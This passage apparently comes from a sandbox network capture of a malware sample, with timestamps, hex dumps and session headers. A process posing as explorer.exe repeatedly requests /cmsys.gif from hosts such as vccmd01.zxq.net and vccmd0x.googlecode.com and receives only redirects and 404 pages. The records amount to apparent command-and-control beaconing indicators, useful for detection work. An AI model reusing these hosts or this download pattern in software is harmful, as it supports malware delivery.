Oct 29, 2024 13:08:22.222939968 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49767	51.81.194.202	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:08:25.002243042 CET	201	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.zxq.net Connection: Keep-Alive
Oct 29, 2024 13:08:25.699901104 CET	1024	IN	HTTP/1.1 301 Moved Permanently Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html content-length: 795 date: Tue, 29 Oct 2024 12:08:25 GMT server: LiteSpeed location: https://zxq.net/cmsys.gif Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49785	64.233.166.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:08:27.975368023 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:08:28.899828911 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:08:28 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:08:28.899914980 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49801	108.177.15.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:08:30.242806911 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd02.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:08:31.149817944 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:08:31 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:08:31.149832964 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	60454	142.251.168.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:08:33.019639015 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd03.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:08:33.957818031 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:08:33 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:08:33.958309889 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	60479	51.81.194.202	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:08:37.321293116 CET	201	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.zxq.net Connection: Keep-Alive
Oct 29, 2024 13:08:38.024394989 CET	1024	IN	HTTP/1.1 301 Moved Permanently Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html content-length: 795 date: Tue, 29 Oct 2024 12:08:37 GMT server: LiteSpeed location: https://zxq.net/cmsys.gif Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
Oct 29, 2024 13:08:48.556803942 CET	201	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.zxq.net Connection: Keep-Alive
Oct 29, 2024 13:08:48.736167908 CET	1024	IN	HTTP/1.1 301 Moved Permanently Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html content-length: 795 date: Tue, 29 Oct 2024 12:08:48 GMT server: LiteSpeed location: https://zxq.net/cmsys.gif Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
Oct 29, 2024 13:08:57.802643061 CET	201	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.zxq.net Connection: Keep-Alive
Oct 29, 2024 13:08:57.982187986 CET	1024	IN	HTTP/1.1 301 Moved Permanently Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html content-length: 795 date: Tue, 29 Oct 2024 12:08:57 GMT server: LiteSpeed location: https://zxq.net/cmsys.gif Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
Oct 29, 2024 13:09:07.082952023 CET	201	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.zxq.net Connection: Keep-Alive
Oct 29, 2024 13:09:07.262295008 CET	1024	IN	HTTP/1.1 301 Moved Permanently Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html content-length: 795 date: Tue, 29 Oct 2024 12:09:07 GMT server: LiteSpeed location: https://zxq.net/cmsys.gif Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
Oct 29, 2024 13:09:13.708194971 CET	201	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.zxq.net Connection: Keep-Alive
Oct 29, 2024 13:09:13.887725115 CET	1024	IN	HTTP/1.1 301 Moved Permanently Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html content-length: 795 date: Tue, 29 Oct 2024 12:09:13 GMT server: LiteSpeed location: https://zxq.net/cmsys.gif Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; 